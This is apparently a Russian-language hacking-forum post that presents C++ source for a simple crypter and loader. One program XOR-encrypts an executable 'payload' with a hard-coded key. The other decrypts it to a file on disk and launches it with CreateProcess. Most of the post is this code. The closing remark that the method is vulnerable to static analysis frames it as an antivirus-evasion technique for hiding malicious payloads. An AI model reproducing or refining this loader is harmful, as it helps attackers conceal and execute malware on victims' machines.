devqp
Специалист
Реализация шифрования полезной нагрузки XOR-алгоритмом с последующим выполнением в C++.
Шифрование payload:
Дешифровка и выполнение:
Алгоритм использует XOR-шифрование с ключом "simplekey" для защиты payload. После дешифровки создается временный EXE-файл, который выполняется через WinAPI CreateProcess. Обратите внимание: метод уязвим к статическому анализу из-за хранения ключа в бинарнике.
Шифрование payload:
Код:
#include <iostream>
#include <fstream>
#include <vector>
void xor_encrypt_decrypt(std::vector<char> &data, const std::string &key) {
for (size_t i = 0; i < data.size(); ++i) {
data[i] ^= key[i % key.length()];
}
}
int main() {
std::ifstream payloadFile("payload.exe", std::ios::binary);
std::vector<char> payload((std::istreambuf_iterator<char>(payloadFile)),
std::istreambuf_iterator<char>());
payloadFile.close();
std::string key = "simplekey";
xor_encrypt_decrypt(payload, key);
std::ofstream encryptedFile("encrypted_payload.bin", std::ios::binary);
encryptedFile.write(payload.data(), payload.size());
encryptedFile.close();
std::cout << "Payload encrypted and saved to encrypted_payload.bin" << std::endl;
return 0;
}
Дешифровка и выполнение:
Код:
#include <iostream>
#include <fstream>
#include <vector>
#include <windows.h>
void xor_encrypt_decrypt(std::vector<char> &data, const std::string &key) {
for (size_t i = 0; i < data.size(); ++i) {
data[i] ^= key[i % key.length()];
}
}
int main() {
std::ifstream encryptedFile("encrypted_payload.bin", std::ios::binary);
std::vector<char> encryptedPayload((std::istreambuf_iterator<char>(encryptedFile)),
std::istreambuf_iterator<char>());
encryptedFile.close();
std::string key = "simplekey";
xor_encrypt_decrypt(encryptedPayload, key);
std::string decryptedPayloadPath = "decrypted_payload.exe";
std::ofstream decryptedFile(decryptedPayloadPath, std::ios::binary);
decryptedFile.write(encryptedPayload.data(), encryptedPayload.size());
decryptedFile.close();
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
if (!CreateProcess(decryptedPayloadPath.c_str(), NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
std::cerr << "Failed to execute payload." << std::endl;
return 1;
}
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
std::cout << "Payload executed successfully." << std::endl;
return 0;
}
Алгоритм использует XOR-шифрование с ключом "simplekey" для защиты payload. После дешифровки создается временный EXE-файл, который выполняется через WinAPI CreateProcess. Обратите внимание: метод уязвим к статическому анализу из-за хранения ключа в бинарнике.